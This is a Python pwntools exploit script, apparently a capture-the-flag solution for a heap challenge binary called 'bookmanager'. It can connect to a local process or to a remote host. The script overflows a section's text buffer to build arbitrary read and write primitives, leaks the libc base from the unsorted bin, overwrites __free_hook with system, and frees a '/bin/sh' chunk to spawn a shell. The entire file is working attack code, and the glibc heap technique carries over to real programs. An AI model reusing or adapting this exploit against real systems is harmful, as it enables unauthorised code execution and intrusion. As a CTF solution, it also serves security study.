1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
  | #!/usr/bin/env python3
from pwn import *
class Challenge:
    def __init__(self, local):
        self.local = local
        if local:
            self.p = process(["./bookmanager"], env={"LD_PRELOAD": "/usr/local/glibc-2.23/lib/libc-2.23.so"})
        else:
            self.p = remote("47.112.115.30", 13337)
        self.libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")
        self.section_ptr, self.book, self.libc_base = {}, {}, 0
    def gdb(self, script):
        assert self.local
        context.terminal = ['tmux', 'splitw', '-h']
        gdb.attach(proc.pidof(self.p)[0], gdbscript=script)
    def set_bookname(self, book_name):
        self.p.sendlineafter("Name of the book you want to create: ", book_name)
        self.p.recvuntil("Your choice:")
    def add_chapter(self, chapter_name):
        self.p.sendline("1")
        self.p.sendlineafter("Chapter name:", chapter_name)
        self.p.recvuntil("Your choice:")
    def add_section(self, chapter_name, section_name):
        self.p.sendline("2")
        self.p.sendlineafter("Which chapter do you want to add into:", chapter_name)
        self.section_ptr[section_name] = int(self.p.recvline().lstrip("0x"), 16)
        self.p.sendlineafter("Section name:", section_name)
        self.p.recvuntil("Your choice:")
    def add_text(self, section_name, text_length, text):
        assert text_length <= 256
        self.p.sendline("3")
        self.p.sendlineafter("Which section do you want to add into:", section_name)
        self.p.sendlineafter("How many chapters you want to write:", str(text_length))
        self.p.sendlineafter("Text:", text)
        self.p.recvuntil("Your choice:")
    def remove_chapter(self, chapter_name):
        self.p.sendline("4")
        self.p.sendlineafter("Chapter name:", chapter_name)
        self.p.recvuntil("Your choice:")
    def remove_section(self, section_name):
        self.p.sendline("5")
        self.p.sendlineafter("Section name:", section_name)
        self.p.recvuntil("Your choice:")
    def remove_text(self, section_name):
        self.p.sendline("6")
        self.p.sendlineafter("Section name:", section_name)
        self.p.recvuntil("Your choice:")
    def book_preview(self):
        self.p.sendline("7")
        recved = self.p.recvuntil("\n=========================="). \
            rstrip("\n==========================").lstrip("\nBook:")
        book_name, chapters = recved.split("\n  Chapter:")[0], recved.split("\n  Chapter:")[1:]
        self.book = {book_name: {}}
        for cind, chapter in enumerate(chapters):
            chapter_name, sections = chapter.split("\n    Section:")[0], chapter.split("\n    Section:")[1:]
            self.book[book_name][chapter_name] = {}
            for sind, section in enumerate(sections):
                section_name, text = section.split("\n      Text:")[0], section.split("\n      Text:")[1]
                self.book[book_name][chapter_name][section_name] = text
        self.p.recvuntil("Your choice:")
    def update(self, choice, old, new):
        assert choice in ["Chapter", "Section", "Text"]
        self.p.sendline("8")
        self.p.sendlineafter("What to update?(Chapter/Section/Text):", choice)
        self.p.sendlineafter(":", old)
        self.p.sendlineafter(":", new)
        assert self.p.recvuntil("Your choice:").strip().startswith("Updated")
    def pwn(self):
        # todo: initialization
        self.set_bookname("PWN_BOOK")
        self.add_chapter("chapter_one")
        self.add_section("chapter_one", "section_one")
        self.add_text("section_one", 0x100 - 0x10 - 0x30, "text_one")
        self.add_section("chapter_one", "section_two")
        # todo: leak heap to get arbitrarily write&read
        self.update("Text", "section_one", flat([
            "A" * 0xc8, 0x41, "section_two".ljust(0x28, "\x00"), 0x20
        ], word_size=64))
        def write_to(address, content):
            payload = flat([
                "A" * 0xc8, 0x41, "section_two".ljust(0x20, "\x00"), address
            ], word_size=64)
            assert len(payload) < 0xff and len(content) < 0xff
            self.update("Text", "section_one", payload)
            self.update("Text", "section_two", content)
        def read_from(address):
            payload = flat([
                "A" * 0xc8, 0x41, "section_two".ljust(0x20, "\x00"), address
            ], word_size=64)
            assert len(payload) < 0xff
            self.update("Text", "section_one", payload)
            self.book_preview()
            text = self.book["PWN_BOOK"]["chapter_one"]["section_two"]
            return u64(text.ljust(8, "\x00")[:8])
        # todo: leak libc address from unsorted bin
        self.add_section("chapter_one", "section_three")
        self.add_text("section_three", 0x100, "BIGTEXT")
        self.add_chapter("chapter_two")     # prevent heap-top
        self.remove_text("section_three")
        unsorted_bin_addr = read_from(self.section_ptr["section_three"] + 0x30 + 0x10)
        self.libc_base = unsorted_bin_addr - 0x19eb78
        print "leak libc_base: %x" % self.libc_base
        # todo: overwrite __free_hook & execute system("/bin/sh")
        free_hook_addr = self.libc.symbols["__free_hook"] + self.libc_base
        system_addr = self.libc.symbols["system"] + self.libc_base
        write_to(free_hook_addr, p64(system_addr))
        self.add_chapter("/bin/sh")
        self.remove_chapter("/bin/sh")
        self.p.interactive()
if __name__ == "__main__":
    c = Challenge(True)
    c.pwn()
  |